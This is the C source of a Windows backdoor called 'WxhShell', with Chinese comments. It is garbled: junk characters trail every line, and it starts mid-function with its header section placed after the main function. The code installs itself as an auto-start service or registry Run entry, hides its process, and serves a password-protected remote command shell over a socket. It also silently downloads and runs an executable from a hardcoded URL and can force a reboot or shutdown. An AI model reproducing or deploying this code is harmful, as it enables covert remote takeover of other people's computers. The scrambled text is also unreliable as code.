    if(Boot(SHUTDOWN)) .Ks&r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \w^U<_zq  
    else { qa`bR%eH  
    closesocket(wsh); NZ7a^xT_)  
    ExitThread(0); `+1*)bYxU  
    } S@N&W&W#~  
    break; 3|9) A+,#  
    } 6dC!&leNi  
  // 获取shell 9p2"5x  
  case 's': { ,8+SQo #3  
    CmdShell(wsh); p8Lb*7W  
    closesocket(wsh); )"t=sFxaB  
    ExitThread(0); bC?t4-W  
    break; Wj.)wr!  
  } =]-!  
  // 退出 c!{.BgGN  
  case 'x': { pR`.8MMc8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F~W*"i+EZ  
    CloseIt(wsh); ,dzbI{@6  
    break; 78dmXOZ'_h  
    } *|_u~v:)|5  
  // 离开 9e=F  
  case 'q': { 1swh7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /~J#c=  
    closesocket(wsh); 0/{-X[z  
    WSACleanup(); aJI>qk h?]  
    exit(1); Yfxc$ub  
    break; Mgcq'{[~Y=  
        } k5g\s9n]  
  } =J0FT2 d  
  } UupQ* ,dJ  
)c]GgPH  
  // 提示信息  Gp@Y=mU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1MfRF v  
} P)>WIQSr  
  } "o;l8$)VL  
X*$ 7g;  
  return; 2$qeNy  
} pOIFO =k  
YDs/BF Z  
// shell模块句柄 cS QUK  
int CmdShell(SOCKET sock) WDE_"Mm  
{ <mrLld#_:C  
STARTUPINFO si; 9DKmXL  
ZeroMemory(&si,sizeof(si)); $ AG.<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gqZ7Pro.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uZd)o AB  
PROCESS_INFORMATION ProcessInfo; N4)& K[  
char cmdline[]="cmd"; YA{Kgc^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [OH>NpL  
  return 0; T_v  
} ou,W|<%  
nHyWb6  
// 自身启动模式 oUltr  
int StartFromService(void) :T%,.sH  
{ n9cWvy&f  
typedef struct -}4H'%Z(i  
{ Yk?ux Z4)H  
  DWORD ExitStatus; e!eWwC9u  
  DWORD PebBaseAddress; rLh490@  
  DWORD AffinityMask; ,_\h)R_  
  DWORD BasePriority; <0v'IHlZ8  
  ULONG UniqueProcessId; .N/4+[2p(  
  ULONG InheritedFromUniqueProcessId; /~g M,*  
}   PROCESS_BASIC_INFORMATION; <pK; D  
gJ vc<]W8!  
PROCNTQSIP NtQueryInformationProcess; 2kCJqyWy  
6K?+adKlc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &/=xtO/Z{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zx#d _SVi  
<XCH{Te1  
  HANDLE             hProcess; -?LSw  
  PROCESS_BASIC_INFORMATION pbi; c{||l+B  
mc!3FJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YwB 5Zqr  
  if(NULL == hInst ) return 0; yMX4 f  
{oBVb{<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z U f<s?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6u8`,&U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~aA+L-s|  
0vQkm<  
  if (!NtQueryInformationProcess) return 0; "]zq<LmX  
@OwU[\6fc}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >6jy d{  
  if(!hProcess) return 0; R`TM@aaS:  
,Z MYCl]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yU .B(|  
~@itZ,d\  
  CloseHandle(hProcess); {) Y &Vr5  
tH>%`:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t@4X(i0  
if(hProcess==NULL) return 0; 1DZGb)OU  
- VR u^l#  
HMODULE hMod; 3'1O}xO  
char procName[255]; MKoN^(7  
unsigned long cbNeeded; ]6=cSs!  
%[NefA(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pw$'TE}  
wx<5*8zP  
  CloseHandle(hProcess); LjxTRtB_  
F\,3z7s  
if(strstr(procName,"services")) return 1; // 以服务启动 ]S;e#u{QE  
f)"O( c  
  return 0; // 注册表启动 e[Q(OV5(R  
} ^+,mxV'8!  
#i)h0ML/e  
// 主模块 :,GsbNKW  
int StartWxhshell(LPSTR lpCmdLine) nM R _ ?g  
{ !aLByMA  
  SOCKET wsl; \ZCc~muR  
BOOL val=TRUE; +k8><_vr}  
  int port=0; 9;h 1;9sC|  
  struct sockaddr_in door; EWH'x$z_q  
7J$ ^R6rh  
  if(wscfg.ws_autoins) Install(); 3@6f%Dyj  
@jwUH8g1  
port=atoi(lpCmdLine); 6 D!,vu  
;]<$p[m  
if(port<=0) port=wscfg.ws_port; jZm1.{[>  
cC4*4bMm  
  WSADATA data; DPy"FQYZb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nNBxT+3*i  
KwpNS(]I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7sHtJr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {wA@5+[  
  door.sin_family = AF_INET; BT`/O D@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < >f12pu  
  door.sin_port = htons(port); @X1>Wv|[  
"b -KVZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o Q{gh$6*  
closesocket(wsl); 9D8el}uHf  
return 1; ;y"E}h  
} W&+UF'F2  
ly, d =  
  if(listen(wsl,2) == INVALID_SOCKET) { F_V~UX1D  
closesocket(wsl); /xf %Rp4}  
return 1; 3ck;~Ncj<  
} ?bN8h)>QQ8  
  Wxhshell(wsl); 173/A=]  
  WSACleanup(); u\=Nu4)Z F  
7 F+w o  
return 0; = @ph  
m0=CD  
} E\RQm}Z09  
n:k~\-&WJ  
// 以NT服务方式启动 [!bTko>rSB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <niHJ*  
{ '%K,A-7W  
DWORD   status = 0; L & PhABZ  
  DWORD   specificError = 0xfffffff; LuQ=i`eXx  
/!7m@P|&D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B;7L:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  299; N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ].:S!QO  
  serviceStatus.dwWin32ExitCode     = 0; (M5=8g%>d  
  serviceStatus.dwServiceSpecificExitCode = 0; >@T ZYdl  
  serviceStatus.dwCheckPoint       = 0; !>t |vgW  
  serviceStatus.dwWaitHint       = 0; rJ!xzge;G  
UXIq>[2Z1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .F 3v)  
  if (hServiceStatusHandle==0) return; 7%)4cHZ^$?  
hiP^*5h  
status = GetLastError(); N],A&}30  
  if (status!=NO_ERROR) O\lt!p3F  
{ q[dls_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; chfj|Ce]x  
    serviceStatus.dwCheckPoint       = 0; $ n 7dIE  
    serviceStatus.dwWaitHint       = 0; $i~DUT(  
    serviceStatus.dwWin32ExitCode     = status; (h`||48d  
    serviceStatus.dwServiceSpecificExitCode = specificError; gX6'!}G8]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m_(+-G  
    return; WW==  
  } =xa`)#4(  
\[Rh\v&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cB?HMLbG>  
  serviceStatus.dwCheckPoint       = 0;  >cSc   
  serviceStatus.dwWaitHint       = 0; Dc BTW+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PiAA,  
} p^~lQ8t  
? )0U!)tK  
// 处理NT服务事件,比如:启动、停止 *,pG4kh!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0XXu_f@]9  
{ X$%RJ3t e  
switch(fdwControl) ZH~m%sA  
{ Hyq| %\A  
case SERVICE_CONTROL_STOP: CQ3;NY=o  
  serviceStatus.dwWin32ExitCode = 0; s*(Y<Ap7d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ibpk\a?A{  
  serviceStatus.dwCheckPoint   = 0; G9}[g)R*  
  serviceStatus.dwWaitHint     = 0; /r}t  
  { E!3W_:Bs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); - n11L  
  } n%Nf\z  
  return; a.c2ScXG  
case SERVICE_CONTROL_PAUSE: ]6$NU [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r=qb[4HiV  
  break; yuKfhg7  
case SERVICE_CONTROL_CONTINUE: nm\n\j~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xNq&_oY7  
  break; F/@#yQv?  
case SERVICE_CONTROL_INTERROGATE: N:gS]OI*  
  break; wm@1jLjrQ  
}; WWq)Cw R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W]Wu[k  
} d [K56wbpx  
\? MuORg  
// 标准应用程序主函数 eFZ`0V0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f9OVylm  
{ (:E^} &A  
Jq?ai8  
// 获取操作系统版本 Ep?a1&b  
OsIsNt=GetOsVer(); ,'82;oP4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ct"h.rD]  
L>pP3[~DV  
  // 从命令行安装 6>bKlYl&9  
  if(strpbrk(lpCmdLine,"iI")) Install(); o+6Y/6Xp@  
1VJE+3  
  // 下载执行文件 ,n&Dg58K  
if(wscfg.ws_downexe) { G 7zfyw}W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .hT^7|Jz[  
  WinExec(wscfg.ws_filenam,SW_HIDE); WY<ip<  
} OEZXV ;F  
T[ky7\  
if(!OsIsNt) { /mqEc9sq,  
// 如果时win9x,隐藏进程并且设置为注册表启动 SU H^]4>  
HideProc(); uOm fpgO  
StartWxhshell(lpCmdLine); r1F5&?{q  
} J+Y&a&j.  
else e|Lh~sVq  
  if(StartFromService()) 63F0Za}h  
  // 以服务方式启动 SM0=  
  StartServiceCtrlDispatcher(DispatchTable); uQpV1o5iA  
else bjD0y cB[  
  // 普通方式启动 Xo]FOJ 5  
  StartWxhshell(lpCmdLine); d{9jd{ _#G  
6,cyi|s  
return 0; w3,QT}WvY  
} S{ fNeK  
c3K(mM:  
E/5w H/  
Kd^ ._  
=========================================== 9J l9\y9  
G0a UZCw  
|urohua  
dR $@vDm  
{Ivu"<`L3  
~EX/IIa{  
" *:GoS?Ma  
dL[mX .j"  
#include <stdio.h> |A5]hL   
#include <string.h> L;grH5K5  
#include <windows.h> ,4EE9 ?J  
#include <winsock2.h> :) mV-(+o  
#include <winsvc.h> t'R&$;z@b  
#include <urlmon.h> ~~wz05oRG  
Z(.p=Wg  
#pragma comment (lib, "Ws2_32.lib") mxDy!:@=  
#pragma comment (lib, "urlmon.lib") INcJXlv  
U_oMR$/Z  
#define MAX_USER   100 // 最大客户端连接数 l_QpPo!a  
#define BUF_SOCK   200 // sock buffer |bB..b  
#define KEY_BUFF   255 // 输入 buffer b\6w[52m  
MUVp8! *@  
#define REBOOT     0   // 重启 <qv:7@  
#define SHUTDOWN   1   // 关机 M62V NYt  
. VWH  
#define DEF_PORT   5000 // 监听端口 S@T> u,t'  
+gK7`:v4O*  
#define REG_LEN     16   // 注册表键长度 dHd{9ftyF  
#define SVC_LEN     80   // NT服务名长度 B#sc!eLmU&  
qmJFXnf  
// 从dll定义API %o*afd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >W 8!YOc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .X YSO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QeU>%qKT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BA L!6  
W\FKA vS  
// wxhshell配置信息 WS2TOAya)  
struct WSCFG { YwHnDVV+  
  int ws_port;         // 监听端口 .B>|>W O  
  char ws_passstr[REG_LEN]; // 口令 l3(k  
  int ws_autoins;       // 安装标记, 1=yes 0=no /AW6XyMD _  
  char ws_regname[REG_LEN]; // 注册表键名 CDR^xo5 dP  
  char ws_svcname[REG_LEN]; // 服务名 #YjV3O5<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JWH}0+1*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WYI? M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NoiU5pP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D:%$a]_f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =d( 6 )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ")ZHa qEB  
D~8f6Ko"m  
}; ?Tb'J`MO  
eN,m8A`/S  
// default Wxhshell configuration (Tc ~  
struct WSCFG wscfg={DEF_PORT, 1!BV]&,[  
    "xuhuanlingzhe", w;{k\=W3Ff  
    1, zg|yW6l)9  
    "Wxhshell", 9;JU c0%  
    "Wxhshell", qlDLZ.  
            "WxhShell Service", sm\/wlbE  
    "Wrsky Windows CmdShell Service", */?L_\7  
    "Please Input Your Password: ", x{RTI#a.  
  1, $"x(:  
  "http://www.wrsky.com/wxhshell.exe", 4!iS"QH?;^  
  "Wxhshell.exe" i~k?k.t8  
    }; qdUlT*fw  
F'|,(P  
// 消息定义模块 ^3AJYu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -/7[_,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u4fTC})4{C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vjbot^W9  
char *msg_ws_ext="\n\rExit."; 6 U# C  
char *msg_ws_end="\n\rQuit."; ;?%2dv2d  
char *msg_ws_boot="\n\rReboot..."; Q;5aM%a`  
char *msg_ws_poff="\n\rShutdown..."; &[JI L=m5  
char *msg_ws_down="\n\rSave to "; b @5&<V;r2  
vJXd{iQE@C  
char *msg_ws_err="\n\rErr!"; H+_oK ]/  
char *msg_ws_ok="\n\rOK!"; x"U/M ?l  
213D{#2  
char ExeFile[MAX_PATH]; s9O] tk  
int nUser = 0; 9-pd{Z~l  
HANDLE handles[MAX_USER]; pmHd1 Wub  
int OsIsNt; QIo|t!7F  
7Zr jU {  
SERVICE_STATUS       serviceStatus; <%) :'0q&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H${Ym BG  
v  mw7H  
// 函数声明 h'T\gF E%  
int Install(void); UDuKG\_J<y  
int Uninstall(void); ^!Bpev  
int DownloadFile(char *sURL, SOCKET wsh); ,gD30Pylz  
int Boot(int flag); mX,#|qLf  
void HideProc(void); } vcr71u  
int GetOsVer(void); ZOS{F_2.  
int Wxhshell(SOCKET wsl); $0cMrf@  
void TalkWithClient(void *cs); =oiY'}%(i  
int CmdShell(SOCKET sock); -cIc&5CS  
int StartFromService(void); w&C SE  
int StartWxhshell(LPSTR lpCmdLine); =fG(K!AQ  
:UFf6T?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }R}tIC-:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HQ2in_'  
I~4 `NV0  
// 数据结构和表定义 bFJmXx&  
SERVICE_TABLE_ENTRY DispatchTable[] = w )DO"Z7  
{ V<ODt%  
{wscfg.ws_svcname, NTServiceMain}, o{>hOs &  
{NULL, NULL} VO++(G)  
}; zA-?x1th&  
}qb z&%R  
// 自我安装 s?OGB}  
int Install(void) F"B!r-J  
{ ?Vt$  
  char svExeFile[MAX_PATH]; `b9oH^}n j  
  HKEY key; 0Dh a1[=  
  strcpy(svExeFile,ExeFile); ;zz"95X7  
LnR3C:NO k  
// 如果是win9x系统,修改注册表设为自启动 +wT,dUin_<  
if(!OsIsNt) { 7 yF#G9,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D.$EvUSK<.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xb|hP  
  RegCloseKey(key); X ,T^(p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { li NPXS+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2evM|Dj  
  RegCloseKey(key); ^{Syg;F=  
  return 0; XXe7w3x{  
    } ( B50~it  
  } ?nU V3#6{  
} 7"8HlOHA  
else { 4 Ag+  
U.>n]/&  
// 如果是NT以上系统,安装为系统服务 ,9W0fm \t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vi lNl|  
if (schSCManager!=0) 3PBg3Y$  
{ !gJAK<]iW  
  SC_HANDLE schService = CreateService 7g(rJGjtg  
  ( 5O)Z}  
  schSCManager, i-niRu<  
  wscfg.ws_svcname, _jeub [  
  wscfg.ws_svcdisp, |bd5aRS9  
  SERVICE_ALL_ACCESS, DYzVV(_J"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `{tykYwCLc  
  SERVICE_AUTO_START, 1 4(?mM3   
  SERVICE_ERROR_NORMAL, uY'Ib[H  
  svExeFile, RZ?>>Ll6  
  NULL, ?8vjHEE  
  NULL, _>3GNvS  
  NULL, G?jY>;P)  
  NULL, FVF: 1DT  
  NULL 2hU4g e?6  
  ); zxwpS  
  if (schService!=0) A3 j>R477A  
  { 5{cAawU.  
  CloseServiceHandle(schService); qZ8lU   
  CloseServiceHandle(schSCManager); _#N~$   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GI6 EZ}.MZ  
  strcat(svExeFile,wscfg.ws_svcname); 1l1X1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vLpE|QZs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~(hmiNa;  
  RegCloseKey(key); j}h50*6KO  
  return 0; a&Z|3+ZA  
    } m=%W<8[V  
  } 94K ;=5h  
  CloseServiceHandle(schSCManager); (y(V,kXwa8  
} TXrC5AJx  
} ](8XC_-U'  
s'/.ea V_  
return 1; p8F|]6Z  
}  NPf,9c;  
>@EQarD  
// 自我卸载 _Zb_9&  
int Uninstall(void) '| Ag,x[  
{ sy>Pn  
  HKEY key; q$EVd9aN  
q8[Nr3.  
if(!OsIsNt) { xES+m/?KlZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6EPC$*Xp!  
  RegDeleteValue(key,wscfg.ws_regname); drb_GT  
  RegCloseKey(key); #uey1I@"9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &,KxtlR![  
  RegDeleteValue(key,wscfg.ws_regname); ;39{iU. m  
  RegCloseKey(key); h]MSjC.X  
  return 0; 9)f1CC]  
  } ?w<x_Lo  
} *NXwllrci  
} ;#f%vs>Y7i  
else { 1f}S:Z  
n,V`Y'v)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $F/&/Aa  
if (schSCManager!=0) QP\vN|r  
{ X)nOY*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nq6]?ZJ  
  if (schService!=0) lXB_HDY  
  { $xloB  
  if(DeleteService(schService)!=0) { <`M Hra8  
  CloseServiceHandle(schService); >6<g5ps.n  
  CloseServiceHandle(schSCManager); J^t=.-a|  
  return 0; ^g~-$t<!  
  } M{nz~W80  
  CloseServiceHandle(schService); UejG$JyHP  
  } B]]M?pS  
  CloseServiceHandle(schSCManager); 6j` waK  
} A= ,q&  
} K-vso4@BJ  
}i/{8Ou W  
return 1; 0Fi7|  
} qBCZ)JEN#U  
Sb,{+Wk  
// 从指定url下载文件 RNi&OG(  
int DownloadFile(char *sURL, SOCKET wsh) Oe;9[=L[  
{ {J99F  
  HRESULT hr; 8#kFS@  
char seps[]= "/"; ,t)mCgbcO  
char *token; Z?v9ub~%  
char *file; ? 4.W _  
char myURL[MAX_PATH]; m{V @Om  
char myFILE[MAX_PATH]; "BzRL g!J  
Zr$PSp}  
strcpy(myURL,sURL); _$fxoD9  
  token=strtok(myURL,seps); E6@+w.VVO  
  while(token!=NULL) A\SbuRty  
  { <|m"Q!f  
    file=token; KDn`XCnk,  
  token=strtok(NULL,seps); Sfvi|kZX  
  } O#k?c }  
e7hPIG  
GetCurrentDirectory(MAX_PATH,myFILE); <BO|.(ys  
strcat(myFILE, "\\"); ;dB=/U>3U  
strcat(myFILE, file); ~xHr/:  
  send(wsh,myFILE,strlen(myFILE),0); w$& 10  
send(wsh,"...",3,0); y XS/3_A{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 69IBG,N'  
  if(hr==S_OK) 'nCBLc8  
return 0; y:W$~<E`p  
else bk>M4l61  
return 1; w5&UG/z%l  
q.g!WLiI  
} M8g=t[\  
*XNvb ^<  
// 系统电源模块  c<4pu  
int Boot(int flag) v4qvq GK  
{ ?rv+ydR/q  
  HANDLE hToken; '!y ^  
  TOKEN_PRIVILEGES tkp; }>h?W1  
>i=O =w  
  if(OsIsNt) { B!8]\D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [IHT)%>E8&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !_c<j4O  
    tkp.PrivilegeCount = 1; 4}NFa; M1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O^e !<bBd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q2tGe~H  
if(flag==REBOOT) { V;)'FJ)]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =-vk}O0C  
  return 0; "3\)@  
} 'x!q*|zF2  
else { y2<g96  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b%v1]a[  
  return 0; Q2Q`g`*O:  
} }>p)|Y T"/  
  } 3g5i5 G\  
  else { qed; UyN  
if(flag==REBOOT) { =Qz 8"rt#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zlXkD~GV  
  return 0; @B1rtw6  
} 5))?,YkrrI  
else { |5Z@7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) no;Yu  
  return 0; 9|OQHy  
} 6}<PBl%qe  
} ['sIR+c%'O  
t(ZiQ<A  
return 1; }~A-ELe:  
} A70_hhP  
(xxJ^u>QC  
// win9x进程隐藏模块 xorFz{  
void HideProc(void) !'PPj_Hp]  
{ q Rtgk  
.[CXW2k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qdcCX:Z<  
  if ( hKernel != NULL ) d/* [t!   
  { w0 "h,{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m&; t;&#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >~ne(n4qy  
    FreeLibrary(hKernel); j)J4[j  
  } (]iw#m{  
h~F uuL  
return; l "d&Sgnj  
} VF 6@;5p  
pX!S*(Q{  
// 获取操作系统版本 ;jnnCXp>  
int GetOsVer(void) g3Ff<P P  
{ RtF_p {s  
  OSVERSIONINFO winfo; b@5bN\"x$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a+J :1'  
  GetVersionEx(&winfo); V{a7@_y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Sb|+[{  
  return 1; Ebp8})P/~  
  else I5 [r-r  
  return 0; A$^}zP'u0<  
} G19FSLrtA  
_c%~\LOk  
// 客户端句柄模块 g fO.Ky6  
int Wxhshell(SOCKET wsl) U); ,Opr  
{ N|Rlb5\  
  SOCKET wsh; d)dIIzv  
  struct sockaddr_in client; ef|Y2<P  
  DWORD myID; -|V@zSKr3  
4jar5Mz  
  while(nUser<MAX_USER) Z0E+EMo  
{ fzw6VGTf  
  int nSize=sizeof(client); _ sM$O>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *A8CJ  
  if(wsh==INVALID_SOCKET) return 1; N8m^h:b  
XrBLw}lD`N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (o e;p a  
if(handles[nUser]==0) <Oy%  
  closesocket(wsh); Z1q '4h=F.  
else @^`f~0#:  
  nUser++; J7mT&U&Ru  
  } 2t[inzn=E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q9!5J2P  
VEz&TPu  
  return 0; o5zth^p[  
} {!E<hQ2<$9  
)zr/9aV  
// 关闭 socket UpB7hA  
void CloseIt(SOCKET wsh) ,=K!Y TeVl  
{ >.M `Fz.  
closesocket(wsh); J }JT%S W  
nUser--; 1R,n[`}h  
ExitThread(0); %OW[rbE.  
} MR8-xO'w  
x}F.<`  
// 客户端请求句柄 {V:?r  
void TalkWithClient(void *cs) b_][Jye&P  
{ s{A-K5S  
^\_`0%`>  
  SOCKET wsh=(SOCKET)cs; >-oa`im+  
  char pwd[SVC_LEN]; ]c$%;!ZE  
  char cmd[KEY_BUFF]; 6bfk4k  
char chr[1]; 8/=[mYn`-  
int i,j; ~r@'kUXKK  
B?TAS  
  while (nUser < MAX_USER) { Nz$O D_]  
U6_1L,W  
if(wscfg.ws_passstr) { eW\_9E)cY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ir/2/ E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~\XB'  
  //ZeroMemory(pwd,KEY_BUFF); d9sgk3K  
      i=0; WhK?>u  
  while(i<SVC_LEN) { !.p!  
@Z.Ne:*J  
  // 设置超时 iiRK3m  
  fd_set FdRead; Fbk<qQH  
  struct timeval TimeOut; [i&z_e)  
  FD_ZERO(&FdRead); 9E (>mN  
  FD_SET(wsh,&FdRead); cL=P((<K?  
  TimeOut.tv_sec=8; RV&2y=eb  
  TimeOut.tv_usec=0; G#l zB`i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9:@os0^O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |5g*pXu{  
  I]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d(fgv  
  pwd=chr[0]; TcRnjsY$  
  if(chr[0]==0xd || chr[0]==0xa) { HqN|CwGgJ:  
  pwd=0; )P|Ql-rE4  
  break; yv'mV=BMJ!  
  } k&^Megcb  
  i++; u5idH),<  
    } 6"%[s@C  
 .# M 5L  
  // 如果是非法用户,关闭 socket v~@Y_ `l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;z%& 3u/  
} E$Ge# M@dM  
Y*"%;e$tg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xD_jfAH'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oq!u `g9  
` 6"\.@4  
while(1) { Jl5<9x  
uj8]\MY  
  ZeroMemory(cmd,KEY_BUFF); 5[*MT%ms  
w.0.||C O  
      // 自动支持客户端 telnet标准   l~f +h?cF  
  j=0; ~\i uV  
  while(j<KEY_BUFF) { ;1eu8N8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -"a])- j  
  cmd[j]=chr[0]; Y}|78|q*  
  if(chr[0]==0xa || chr[0]==0xd) { )8iDjNM<  
  cmd[j]=0; _I'O4s1S  
  break; cHR}`U$  
  } -Fl3m  
  j++; 4+ 4? 0R  
    } X>Xpx<RY!  
kfmIhHlYQ  
  // 下载文件 ^5GS !u"  
  if(strstr(cmd,"http://")) { t_j.@|/FZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;$0za]x  
  if(DownloadFile(cmd,wsh)) Sb{S^w\m0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4NEk#n  
  else dxASU|Yo9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }1$8)zH  
  } *X<De  
  else { jCa{WV:K}  
}hBv?B2/1  
